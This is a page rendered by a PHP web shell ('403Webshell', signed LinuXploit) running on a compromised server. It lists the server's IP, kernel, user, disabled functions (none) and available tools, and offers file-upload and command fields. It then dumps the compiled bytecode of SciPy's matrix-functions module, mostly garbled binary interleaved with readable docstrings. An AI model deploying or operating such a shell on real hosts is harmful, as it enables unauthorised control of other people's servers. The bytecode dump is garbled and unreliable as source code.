403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/linalg/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/linalg/__pycache__/_matfuncs.cpython-311.pyc
�

d�c�a���ddlmZddlZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZmZddlmZddlmZmZdd	lmZdd
lmZddlm Z m!Z!ddl"m#Z#m$Z$dd
l%m&Z&ddl'm(Z(m)Z)gd�Z*ej+d��j,Z,ej+d��j,Z-ddddddd�Z.d�Z/d#d�Z0d�Z1d$d�Z2d�Z3d�Z4d�Z5d�Z6d�Z7d�Z8d�Z9d�Z:d$d �Z;d$d!�Z<d"�Z=dS)%�)�productN)�Inf�dot�diag�prod�logical_not�ravel�	transpose�	conjugate�absolute�amax�sign�isfinite)�sqrt)�LinAlgError�	bandwidth�)�norm)�solve�inv)�triu)�svd)�schur�rsf2csf)�expm_frechet�	expm_cond)�sqrtm)�pick_pade_structure�pade_UV_calc)�expm�cosm�sinm�tanm�coshm�sinhm�tanhm�logm�funm�signmr�fractional_matrix_powerrr�
khatri_rao�d�f)�i�lr-r,�F�Dc��tj|��}t|j��dks|jd|jdkrt	d���|S)a�
    Wraps asarray with the extra requirement that the input be a square matrix.

    The motivation is that the matfuncs module has real functions that have
    been lifted to square matrix functions.

    Parameters
    ----------
    A : array_like
        A square matrix.

    Returns
    -------
    out : ndarray
        An ndarray copy or view or other representation of A.

    �rrz expected square array_like input)�np�asarray�len�shape�
ValueError��As �8/usr/lib/python3/dist-packages/scipy/linalg/_matfuncs.py�_asarray_squarer<$sN��$	�
�1�
�
�A�
�1�7�|�|�q���A�G�A�J�!�'�!�*�4�4��;�<�<�<��H�c��tj|��ritj|��rU|�0tdztdzd�t
|jj}tj|j	d|���r|j
}|S)a(
    Return either B or the real part of B, depending on properties of A and B.

    The motivation is that B has been computed as a complicated function of A,
    and B may be perturbed by negligible imaginary components.
    If A is real and B is complex with small imaginary components,
    then return a real copy of B.  The assumption in that case would be that
    the imaginary components of B are numerical artifacts.

    Parameters
    ----------
    A : ndarray
        Input array whose type is to be checked as real vs. complex.
    B : ndarray
        Array to be returned, possibly without its imaginary part.
    tol : float
        Absolute tolerance.

    Returns
    -------
    out : real or complex array
        Either the input array B or only the real part of the input array B.

    N�@�@g��.A�rr�)�atol)r4�	isrealobj�iscomplexobj�feps�eps�_array_precision�dtype�char�allclose�imag�real)r:�B�tols   r;�_maybe_realrO<su��4
�|�A����2�?�1�-�-���;��#�X��S��)�)�*:�1�7�<�*H�I�C�
�;�q�v�s��-�-�-�	���A��Hr=c�h�t|��}ddl}|jj�||��S)a�
    Compute the fractional power of a matrix.

    Proceeds according to the discussion in section (6) of [1]_.

    Parameters
    ----------
    A : (N, N) array_like
        Matrix whose fractional power to evaluate.
    t : float
        Fractional power.

    Returns
    -------
    X : (N, N) array_like
        The fractional power of the matrix.

    References
    ----------
    .. [1] Nicholas J. Higham and Lijing lin (2011)
           "A Schur-Pade Algorithm for Fractional Powers of a Matrix."
           SIAM Journal on Matrix Analysis and Applications,
           32 (3). pp. 1056-1078. ISSN 0895-4798

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import fractional_matrix_power
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> b = fractional_matrix_power(a, 0.5)
    >>> b
    array([[ 0.75592895,  1.13389342],
           [ 0.37796447,  1.88982237]])
    >>> np.dot(b, b)      # Verify square root
    array([[ 1.,  3.],
           [ 1.,  4.]])

    rN)r<�scipy.linalg._matfuncs_inv_ssq�linalg�_matfuncs_inv_ssq�_fractional_matrix_power)r:�t�scipys   r;r*r*bs9��R	����A�)�)�)�)��<�)�B�B�1�a�H�H�Hr=Tc�V�t|��}ddl}|jj�|��}t||��}dtz}tt|��|z
d��t|d��z}|r't|��r||krtd|��|S||fS)a
    Compute matrix logarithm.

    The matrix logarithm is the inverse of
    expm: expm(logm(`A`)) == `A`

    Parameters
    ----------
    A : (N, N) array_like
        Matrix whose logarithm to evaluate
    disp : bool, optional
        Print warning if error in the result is estimated large
        instead of returning estimated error. (Default: True)

    Returns
    -------
    logm : (N, N) ndarray
        Matrix logarithm of `A`
    errest : float
        (if disp == False)

        1-norm of the estimated error, ||err||_1 / ||A||_1

    References
    ----------
    .. [1] Awad H. Al-Mohy and Nicholas J. Higham (2012)
           "Improved Inverse Scaling and Squaring Algorithms
           for the Matrix Logarithm."
           SIAM Journal on Scientific Computing, 34 (4). C152-C169.
           ISSN 1095-7197

    .. [2] Nicholas J. Higham (2008)
           "Functions of Matrices: Theory and Computation"
           ISBN 978-0-898716-46-7

    .. [3] Nicholas J. Higham and Lijing lin (2011)
           "A Schur-Pade Algorithm for Fractional Powers of a Matrix."
           SIAM Journal on Matrix Analysis and Applications,
           32 (3). pp. 1056-1078. ISSN 0895-4798

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import logm, expm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> b = logm(a)
    >>> b
    array([[-1.02571087,  2.05142174],
           [ 0.68380725,  1.02571087]])
    >>> expm(b)         # Verify expm(logm(a)) returns a
    array([[ 1.,  3.],
           [ 1.,  4.]])

    rN��rz0logm result may be inaccurate, approximate err =)r<rQrRrS�_logmrOrFrr r�print)r:�disprVr0�errtol�errests      r;r'r'�s���n	����A�)�)�)�)�
��&�,�,�Q�/�/�A��A�q���A�
�#�X�F�
�$�q�'�'�!�)�A�
�
��a����
*�F�������	N�6�V�#3�#3��D�f�M�M�M����&�y�r=c
��tj|��}|jdkrE|jdkr:tjtj|�����gg��S|jdkrtd���|jd|jdkrtd���|jd}t|j�dkrtj
|��S|jdd�d	krtj|��Stj|jtj
��s|�t��}n4|jtjkr|�tj��}|jdd�d
k�rQ|ddgdgf|ddgdgf|ddgdgf|ddgdgff\}}}}t%||z
dzd|z|zz��d
z}tj||zd
z��}||z
d
z}	tj|��}
tj|
��}|dk}tj||��||z||<tj|j|j���}
||
|	|zzz|
ddgdgf<||z|z|
ddgdgf<||z|z|
ddgdgf<||
|	|zz
z|
ddgdgf<tj|��r|
jS|
S|jd}tj|j|j���}
tjd||f|j���}t3d�|jdd�D���D�]�}||}t5|��}t7|��s<tjtjtj|������|
|<�e||ddd�dd�f<t;|��\}}|dkr.|dd�xxd|zggd|zggd|zggd|zgggzcc<t=|||��|d}|dk�rd|ddks
|ddk�r4tj|��}tj|d|zz��tjd|��dd�<tj||ddkrdnd���}tA|dz
dd��D]�}||z}tj|d
|zz��tjd|��dd�<tC|d
|zz��|d|zzz}|ddkr'|tjd|dd�dd�f��dd�<��|tjd|dd�dd�f��dd�<��ntA|��D]}||z}�|ddks|ddkr9|ddkrtj"|��ntj#|��|
|<���||
|<���|
S)a�Compute the matrix exponential of an array.

    Parameters
    ----------
    A : ndarray
        Input with last two dimensions are square ``(..., n, n)``.

    Returns
    -------
    eA : ndarray
        The resulting matrix exponential with the same shape of ``A``

    Notes
    -----
    Implements the algorithm given in [1], which is essentially a Pade
    approximation with a variable order that is decided based on the array
    data.

    For input with size ``n``, the memory usage is in the worst case in the
    order of ``8*(n**2)``. If the input data is not of single and double
    precision of real and complex dtypes, it is copied to a new array.

    For cases ``n >= 400``, the exact 1-norm computation cost, breaks even with
    1-norm estimation and from that point on the estimation scheme given in
    [2] is used to decide on the approximation order.

    References
    ----------
    .. [1] Awad H. Al-Mohy and Nicholas J. Higham, (2009), "A New Scaling
           and Squaring Algorithm for the Matrix Exponential", SIAM J. Matrix
           Anal. Appl. 31(3):970-989, :doi:`10.1137/09074721X`

    .. [2] Nicholas J. Higham and Francoise Tisseur (2000), "A Block Algorithm
           for Matrix 1-Norm Estimation, with an Application to 1-Norm
           Pseudospectra." SIAM J. Matrix Anal. Appl. 21(4):1185-1201,
           :doi:`10.1137/S0895479899356080`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import expm, sinm, cosm

    Matrix version of the formula exp(0) = 1:

    >>> expm(np.zeros((3, 2, 2)))
    array([[[1., 0.],
            [0., 1.]],
    <BLANKLINE>
           [[1., 0.],
            [0., 1.]],
    <BLANKLINE>
           [[1., 0.],
            [0., 1.]]])

    Euler's identity (exp(i*theta) = cos(theta) + i*sin(theta))
    applied to a matrix:

    >>> a = np.array([[1.0, 2.0], [-1.0, 3.0]])
    >>> expm(1j*a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])
    >>> cosm(a) + 1j*sinm(a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])

    rr3z0The input array must be at least two-dimensional������z-Last 2 dimensions of the array must be squarerN)rr)r3r3.�g@)rH�c�,�g|]}t|����S�)�range)�.0�xs  r;�
<listcomp>zexpm.<locals>.<listcomp>Os��8�8�8�a��q���8�8�8r=��@zii->i)�k)$r4r5�size�ndim�array�exp�itemrr7�min�
empty_like�
issubdtyperH�inexact�astype�float�float16�float32�csqrt�cosh�	ones_like�sinh�emptyrCrLrr�anyrrr�einsumre�
_exp_sinchr�tril)r:�a�n�a1�a2�a3�a4�mu�eApD2�AmD2�coshMu�sinchMu�mask�eA�Am�ind�aw�lu�m�s�eAw�diag_aw�sdr.�exp_sd�_s                          r;r r �s��F	�
�1�
�
�A��v��{�{�q�v��z�z��x�"�&������*�*�+�,�-�-�-��v��z�z��L�M�M�M��w�r�{�a�g�b�k�!�!��I�J�J�J�	����A�
�A�G�}�����}�Q����	�w�r�s�s�|�v����v�a�y�y��
�=���"�*�-�-�!�
�H�H�U�O�O���	
��B�J�	�	�
�H�H�R�Z� � ��	�w�r�s�s�|�v����C�!��q�c�M�*��C�!��q�c�M�*��C�!��q�c�M�*��C�!��q�c�M�*�,���B��B��B�r�E�A�:��"��R��'�
(�
(��
+�����2��r�z�"�"���R���|���������,�v�&�&���Q�w�����4��)�)�B�t�H�4���
�
�X�q�w�r�x�
0�
0�
0��!�V�d�7�l�%:�;��3���a�S�=��!�B�J��0��3���a�S�=��!�B�J��0��3���a�S�=��!�V�d�7�l�%:�;��3���a�S�=��
�<��?�?�	��7�N��	�	
����A�	��!�'���	)�	)�	)�B�	��1�a��)�1�7�	+�	+�	+�B��8�8�1�7�3�B�3�<�8�8�8�9�1�1��
�s�V��
�r�]�]���2�w�w�	��g�b�f�R�W�R�[�[�1�1�2�2�B�s�G����1�a�a�a����7��"�2�&�&���1���6�6��r��r�F�F�F��a�R��	�{�a�1�"�g�Y�K�2���8�*���q�b��
�|�L�L�F�F�F��R��A������e����6�6��1���
�
��1���
�
��'�"�+�+��-/�V�G�a�1�"�g�4E�-F�-F��	�'�3�'�'����*��W�R��A��!���2�2��;�;�;���q��s�B��+�+�	E�	E�A���)�C�24���"��r�(�8J�1K�1K�B�I�g�s�+�+�A�A�A�.�'��2���8�(<�=�=��a�1�"�g��N�F��!�u��z�z�>D��	�'�3�q�r�r�3�B�3�w�<�8�8����;�;�>D��	�'�3�s��s�A�B�B�w�<�8�8����;�;�	E��q���$�$�A���)�C�C�
�q�E�Q�J�J�B�q�E�Q�J�J�&(��e�q�j�j�b�g�c�l�l�l�b�g�c�l�l�B�s�G�G��B�s�G�G�
�Ir=c��tjtj|����}tj|��}|dk}||xx||zcc<tj|dd�|��||<|S)NrAr_)r4�diffro)rg�	lexp_diff�l_diff�mask_zs    r;r�r��sy������q�	�	�"�"�I�
�W�Q�Z�Z�F�
�r�\�F�
�v�g����&�&��/�)������q��"��v�f�~�.�.�I�f���r=c���t|��}tj|��r(dtd|z��td|z��zzStd|z��jS)a!
    Compute the matrix cosine.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array

    Returns
    -------
    cosm : (N, N) ndarray
        Matrix cosine of A

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import expm, sinm, cosm

    Euler's identity (exp(i*theta) = cos(theta) + i*sin(theta))
    applied to a matrix:

    >>> a = np.array([[1.0, 2.0], [-1.0, 3.0]])
    >>> expm(1j*a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])
    >>> cosm(a) + 1j*sinm(a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])

    ��?��?���)r<r4rDr rLr9s r;r!r!�sZ��B	����A�	��q�����D��A��J�J��c�!�e���,�-�-��B�q�D�z�z��r=c���t|��}tj|��r(dtd|z��td|z��z
zStd|z��jS)a 
    Compute the matrix sine.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array.

    Returns
    -------
    sinm : (N, N) ndarray
        Matrix sine of `A`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import expm, sinm, cosm

    Euler's identity (exp(i*theta) = cos(theta) + i*sin(theta))
    applied to a matrix:

    >>> a = np.array([[1.0, 2.0], [-1.0, 3.0]])
    >>> expm(1j*a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])
    >>> cosm(a) + 1j*sinm(a)
    array([[ 0.42645930+1.89217551j, -2.13721484-0.97811252j],
           [ 1.06860742+0.48905626j, -1.71075555+0.91406299j]])

    y��r�r�)r<r4rDr rKr9s r;r"r"�sZ��B	����A�	��q�����d�2�a�4�j�j�4��A��;�;�.�/�/��B�q�D�z�z��r=c	��t|��}t|tt|��t	|������S)a�
    Compute the matrix tangent.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array.

    Returns
    -------
    tanm : (N, N) ndarray
        Matrix tangent of `A`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import tanm, sinm, cosm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> t = tanm(a)
    >>> t
    array([[ -2.00876993,  -8.41880636],
           [ -2.80626879, -10.42757629]])

    Verify tanm(a) = sinm(a).dot(inv(cosm(a)))

    >>> s = sinm(a)
    >>> c = cosm(a)
    >>> s.dot(np.linalg.inv(c))
    array([[ -2.00876993,  -8.41880636],
           [ -2.80626879, -10.42757629]])

    )r<rOrr!r"r9s r;r#r#�s8��F	����A��q�%��Q����a���1�1�2�2�2r=c��t|��}t|dt|��t|��zz��S)a
    Compute the hyperbolic matrix cosine.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array.

    Returns
    -------
    coshm : (N, N) ndarray
        Hyperbolic matrix cosine of `A`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import tanhm, sinhm, coshm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> c = coshm(a)
    >>> c
    array([[ 11.24592233,  38.76236492],
           [ 12.92078831,  50.00828725]])

    Verify tanhm(a) = sinhm(a).dot(inv(coshm(a)))

    >>> t = tanhm(a)
    >>> s = sinhm(a)
    >>> t - s.dot(np.linalg.inv(c))
    array([[  2.72004641e-15,   4.55191440e-15],
           [  0.00000000e+00,  -5.55111512e-16]])

    r��r<rOr r9s r;r$r$�:��F	����A��q�#��a���4���8�8�!3�4�5�5�5r=c��t|��}t|dt|��t|��z
z��S)a
    Compute the hyperbolic matrix sine.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array.

    Returns
    -------
    sinhm : (N, N) ndarray
        Hyperbolic matrix sine of `A`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import tanhm, sinhm, coshm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> s = sinhm(a)
    >>> s
    array([[ 10.57300653,  39.28826594],
           [ 13.09608865,  49.86127247]])

    Verify tanhm(a) = sinhm(a).dot(inv(coshm(a)))

    >>> t = tanhm(a)
    >>> c = coshm(a)
    >>> t - s.dot(np.linalg.inv(c))
    array([[  2.72004641e-15,   4.55191440e-15],
           [  0.00000000e+00,  -5.55111512e-16]])

    r�r�r9s r;r%r%-r�r=c	��t|��}t|tt|��t	|������S)a
    Compute the hyperbolic matrix tangent.

    This routine uses expm to compute the matrix exponentials.

    Parameters
    ----------
    A : (N, N) array_like
        Input array

    Returns
    -------
    tanhm : (N, N) ndarray
        Hyperbolic matrix tangent of `A`

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import tanhm, sinhm, coshm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> t = tanhm(a)
    >>> t
    array([[ 0.3428582 ,  0.51987926],
           [ 0.17329309,  0.86273746]])

    Verify tanhm(a) = sinhm(a).dot(inv(coshm(a)))

    >>> s = sinhm(a)
    >>> c = coshm(a)
    >>> t - s.dot(np.linalg.inv(c))
    array([[  2.72004641e-15,   4.55191440e-15],
           [  0.00000000e+00,  -5.55111512e-16]])

    )r<rOrr$r%r9s r;r&r&Ts8��F	����A��q�%��a���%��(�(�3�3�4�4�4r=c
��t|��}t|��\}}t||��\}}|j\}}t	|t	|������}|�|jj��}t|d��}td|��D�]}td||z
dz��D]�}	|	|z}
||	dz
|
dz
f||
dz
|
dz
f||	dz
|	dz
fz
z}t|	|
dz
��}t||	dz
|f|||
dz
f��t||	dz
|f|||
dz
f��z
}
||
z}||
dz
|
dz
f||	dz
|	dz
fz
}|dkr||z}|||	dz
|
dz
f<t|t|����}����tt||��tt|������}t||��}t t"d�t$|jj}|dkr|}tdt'|||zt)t+|d��d��z����}t-t/t1t3|������d���rt4}|r|d|zkrt7d|��|S||fS)	a�
    Evaluate a matrix function specified by a callable.

    Returns the value of matrix-valued function ``f`` at `A`. The
    function ``f`` is an extension of the scalar-valued function `func`
    to matrices.

    Parameters
    ----------
    A : (N, N) array_like
        Matrix at which to evaluate the function
    func : callable
        Callable object that evaluates a scalar function f.
        Must be vectorized (eg. using vectorize).
    disp : bool, optional
        Print warning if error in the result is estimated large
        instead of returning estimated error. (Default: True)

    Returns
    -------
    funm : (N, N) ndarray
        Value of the matrix function specified by func evaluated at `A`
    errest : float
        (if disp == False)

        1-norm of the estimated error, ||err||_1 / ||A||_1

    Notes
    -----
    This function implements the general algorithm based on Schur decomposition
    (Algorithm 9.1.1. in [1]_).

    If the input matrix is known to be diagonalizable, then relying on the
    eigendecomposition is likely to be faster. For example, if your matrix is
    Hermitian, you can do

    >>> from scipy.linalg import eigh
    >>> def funm_herm(a, func, check_finite=False):
    ...     w, v = eigh(a, check_finite=check_finite)
    ...     ## if you further know that your matrix is positive semidefinite,
    ...     ## you can optionally guard against precision errors by doing
    ...     # w = np.maximum(w, 0)
    ...     w = func(w)
    ...     return (v * w).dot(v.conj().T)

    References
    ----------
    .. [1] Gene H. Golub, Charles F. van Loan, Matrix Computations 4th ed.

    Examples
    --------
    >>> import numpy as np
    >>> from scipy.linalg import funm
    >>> a = np.array([[1.0, 3.0], [1.0, 4.0]])
    >>> funm(a, lambda x: x*x)
    array([[  4.,  15.],
           [  5.,  19.]])
    >>> a.dot(a)
    array([[  4.,  15.],
           [  5.,  19.]])

    )rrrrAr@r)�axisrXz0funm result may be inaccurate, approximate err =)r<rrr7rrurHrI�absre�slicerrqr
rrOrErFrG�maxrrrr	rrrrZ)r:�funcr[�T�Zr�r0�minden�pr.�jr��ksl�val�denrN�errs                 r;r(r({s���~	����A���8�8�D�A�q��1�Q�<�<�D�A�q�
�'�C�A�a��T�T�$�q�'�'�]�]���A�	��������A�
��3��[�[�F��1�Q�Z�Z�*�*���q��1��Q����
	*�
	*�A��A��A��!�A�#�a��c�'�
�a��!��A�a�C��j�1�Q�q�S��1��W�:�5�6�A���!�A�#�,�,�C��a��!��C��j��3�q��s�7��,�,�s�1�Q�q�S��W�:�a��A�a�C��j�/I�/I�I�C��C��A��A�a�C��!��G�*�q��1��Q�q�S��z�)�C��c�z�z���G���A�a��c�!�A�#�g�J����C���)�)�F�F�
	*�	�C��1�I�I�y��1���.�.�/�/�A��A�q���A�
�S�/�/�*�1�7�<�8�
9�C�
��}�}���

�a��S�#�f�*�d�4��!�9�9�Q�&7�&7�7�8�8�
9�
9�C��E�+�h�q�k�k�*�*�+�+��3�3�3��������c��>�>��D�c�J�J�J����#�v�
r=c��t|��}d�}t||d���\}}dtzdtzd�t|jj}||kr|St|d���}tj	|��}d|z}||tj
|jd��zz}	|}
td	��D]`}t|	��}d|	|zz}	dt|	|	��|	zz}
tt|
|
��|
z
d
��}||ks|
|krn|}
�a|r't!|��r||krt#d|��|	S|	|fS)a'
    Matrix sign function.

    Extension of the scalar sign(x) to matrices.

    Parameters
    ----------
    A : (N, N) array_like
        Matrix at which to evaluate the sign function
    disp : bool, optional
        Print warning if error in the result is estimated large
        instead of returning estimated error. (Default: True)

    Returns
    -------
    signm : (N, N) ndarray
        Value of the sign function at `A`
    errest : float
        (if disp == False)

        1-norm of the estimated error, ||err||_1 / ||A||_1

    Examples
    --------
    >>> from scipy.linalg import signm, eigvals
    >>> a = [[1,2,3], [1,2,1], [1,1,1]]
    >>> eigvals(a)
    array([ 4.12488542+0.j, -0.76155718+0.j,  0.63667176+0.j])
    >>> eigvals(signm(a))
    array([-1.+0.j,  1.+0.j,  1.+0.j])

    c��tj|��}|jjdkrdtzt|��z}ndtzt|��z}tt|��|k|z��S)Nr-r?)	r4rLrHrIrEr
rFrr)rg�rx�cs   r;�rounded_signzsignm.<locals>.rounded_signse��
�W�Q�Z�Z��
�8�=�C����D���a��� �A�A��C���Q����A��X�b�\�\�A�%��+�,�,�,r=r)r[r?r@F)�
compute_uvr��drz1signm result may be inaccurate, approximate err =)r<r(rErFrGrHrIrr4r
�identityr7rerrrrrZ)r:r[r��resultr]r\�vals�max_svr��S0�prev_errestr.�iS0�Pps              r;r)r)�s~��B	����A�-�-�-��!�\��2�2�2�N�F�F��D��C��G�
$�
$�%5�f�l�6G�%H�
I�F�
�����
��q�U�#�#�#�D�
�W�T�]�]�F�	�F�
�A�	
�Q�r�{�1�7�1�:�&�&�
&�	&�B��K�
�3�Z�Z�����"�g�g��
�"�s�(�^��
�#�b��*�*�R�-�
 ���c�"�R�j�j��m�A�&�&���F�?�?�k�V�3�3��E����������	O�6�V�#3�#3��E�v�N�N�N��	��6�z�r=c��tj|��}tj|��}|jdkr|jdkstd���|jd|jdkstd���|ddd�tjdd�f|dtjdd�dd�fz}|�d|jdd�z��S)a�
    Khatri-rao product

    A column-wise Kronecker product of two matrices

    Parameters
    ----------
    a : (n, k) array_like
        Input array
    b : (m, k) array_like
        Input array

    Returns
    -------
    c:  (n*m, k) ndarray
        Khatri-rao product of `a` and `b`.

    See Also
    --------
    kron : Kronecker product

    Notes
    -----
    The mathematical definition of the Khatri-Rao product is:

    .. math::

        (A_{ij}  \bigotimes B_{ij})_{ij}

    which is the Kronecker product of every column of A and B, e.g.::

        c = np.vstack([np.kron(a[:, k], b[:, k]) for k in range(b.shape[1])]).T

    Examples
    --------
    >>> import numpy as np
    >>> from scipy import linalg
    >>> a = np.array([[1, 2, 3], [4, 5, 6]])
    >>> b = np.array([[3, 4, 5], [6, 7, 8], [2, 3, 9]])
    >>> linalg.khatri_rao(a, b)
    array([[ 3,  8, 15],
           [ 6, 14, 24],
           [ 2,  6, 27],
           [12, 20, 30],
           [24, 35, 48],
           [ 8, 15, 54]])

    r3z(The both arrays should be 2-dimensional.rz6The number of columns for both arrays should be equal..N)r_)r4r5rmr8r7�newaxis�reshape)r��br�s   r;r+r+4s���b	�
�1�
�
�A�
�
�1�
�
�A�
�F�a�K�K�A�F�a�K�K��C�D�D�D��7�1�:�����#�#��,�-�-�	-�	
�#�q�q�q�"�*�a�a�a�
� �1�S�"�*�a�a�a����%:�#;�;�A��9�9�U�Q�W�Q�R�R�[�(�)�)�)r=)N)T)>�	itertoolsr�numpyr4rrrrrr	r
rrr
rr�numpy.lib.scimathrry�scipy.linalgrr�_miscr�_basicrr�_special_matricesr�_decomp_svdr�
_decomp_schurrr�
_expm_frechetrr�_matfuncs_sqrtmr�_matfuncs_expmrr�__all__�finforFrErGr<rOr*r'r r�r!r"r#r$r%r&r(r)r+rdr=r;�<module>r�s�������������>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�>�+�+�+�+�+�+�0�/�/�/�/�/�/�/���������������#�#�#�#�#�#�������)�)�)�)�)�)�)�)�2�2�2�2�2�2�2�2�"�"�"�"�"�"�=�=�=�=�=�=�=�=�&�&�&���b�h�s�m�m����r�x��}�}���������C�C��
�
�
�0
�
�
�
�L+I�+I�+I�\D�D�D�D�Nk�k�k�\���%�%�%�P%�%�%�P$3�$3�$3�N$6�$6�$6�N$6�$6�$6�N$5�$5�$5�Nf�f�f�f�RM�M�M�M�`=*�=*�=*�=*�=*r=

Youez - 2016 - github.com/yon3zu
LinuXploit